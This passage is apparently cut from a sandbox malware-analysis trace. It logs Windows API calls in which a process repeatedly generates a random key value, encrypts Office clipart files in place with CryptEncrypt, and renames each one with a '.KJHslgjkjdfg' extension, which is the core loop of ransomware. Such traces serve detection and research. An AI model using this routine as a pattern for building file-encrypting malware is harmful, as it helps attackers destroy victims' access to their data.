lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30f0, lpOverlapped=0x0) returned 1 [0202.452] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.452] SetEndOfFile (hFile=0x130) returned 1 [0202.455] GetProcessHeap () returned 0x2ef0000 [0202.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.455] GetProcessHeap () returned 0x2ef0000 [0202.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.kjhslgjkjdfg")) returned 1 [0202.456] CloseHandle (hObject=0x130) returned 1 [0202.456] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0202.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.458] GetProcessHeap () returned 0x2ef0000 [0202.458] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.458] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.458] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.458] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.458] GetProcessHeap () returned 0x2ef0000 [0202.458] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.458] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.458] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.458] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.461] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.461] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.461] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.462] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.462] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.462] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.462] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x560, lpOverlapped=0x0) returned 1 [0202.462] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x560, dwBufLen=0x560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x560) returned 1 [0202.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.462] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x560, lpOverlapped=0x0) returned 1 [0202.462] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.462] SetEndOfFile (hFile=0x130) returned 1 [0202.466] GetProcessHeap () returned 0x2ef0000 [0202.466] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.466] GetProcessHeap () returned 0x2ef0000 [0202.466] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.kjhslgjkjdfg")) returned 1 [0202.468] CloseHandle (hObject=0x130) returned 1 [0202.468] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0202.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.470] GetProcessHeap () returned 0x2ef0000 [0202.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.470] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.470] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.474] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.474] GetProcessHeap () returned 0x2ef0000 [0202.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.474] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.474] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.475] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.475] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.475] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb66e, lpOverlapped=0x0) returned 1 [0202.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb670, dwBufLen=0xb670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb670) returned 1 [0202.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.477] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb670, lpOverlapped=0x0) returned 1 [0202.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.477] SetEndOfFile (hFile=0x130) returned 1 [0202.480] GetProcessHeap () returned 0x2ef0000 [0202.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.480] GetProcessHeap () returned 0x2ef0000 [0202.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.kjhslgjkjdfg")) returned 1 [0202.482] CloseHandle (hObject=0x130) returned 1 [0202.482] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0202.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.483] GetProcessHeap () returned 0x2ef0000 [0202.483] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.483] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.483] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.487] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.487] GetProcessHeap () returned 0x2ef0000 [0202.487] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.487] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.487] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.488] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.488] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x54d4, lpOverlapped=0x0) returned 1 [0202.489] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54e0, dwBufLen=0x54e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54e0) returned 1 [0202.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.489] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x54e0, lpOverlapped=0x0) returned 1 [0202.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x55b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.489] SetEndOfFile (hFile=0x130) returned 1 [0202.492] GetProcessHeap () returned 0x2ef0000 [0202.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.492] GetProcessHeap () returned 0x2ef0000 [0202.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.kjhslgjkjdfg")) returned 1 [0202.494] CloseHandle (hObject=0x130) returned 1 [0202.494] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0202.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.495] GetProcessHeap () returned 0x2ef0000 [0202.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.495] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.495] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.498] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.498] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.498] GetProcessHeap () returned 0x2ef0000 [0202.498] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.498] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.498] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.498] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.498] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.498] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.498] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.498] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.498] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.499] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45f8, lpOverlapped=0x0) returned 1 [0202.500] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4600, dwBufLen=0x4600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4600) returned 1 [0202.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.500] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4600, lpOverlapped=0x0) returned 1 [0202.500] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.500] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.500] SetEndOfFile (hFile=0x130) returned 1 [0202.503] GetProcessHeap () returned 0x2ef0000 [0202.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.503] GetProcessHeap () returned 0x2ef0000 [0202.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.kjhslgjkjdfg")) returned 1 [0202.505] CloseHandle (hObject=0x130) returned 1 [0202.505] FindNextFileW (in: hFindFile=0x2f18288, 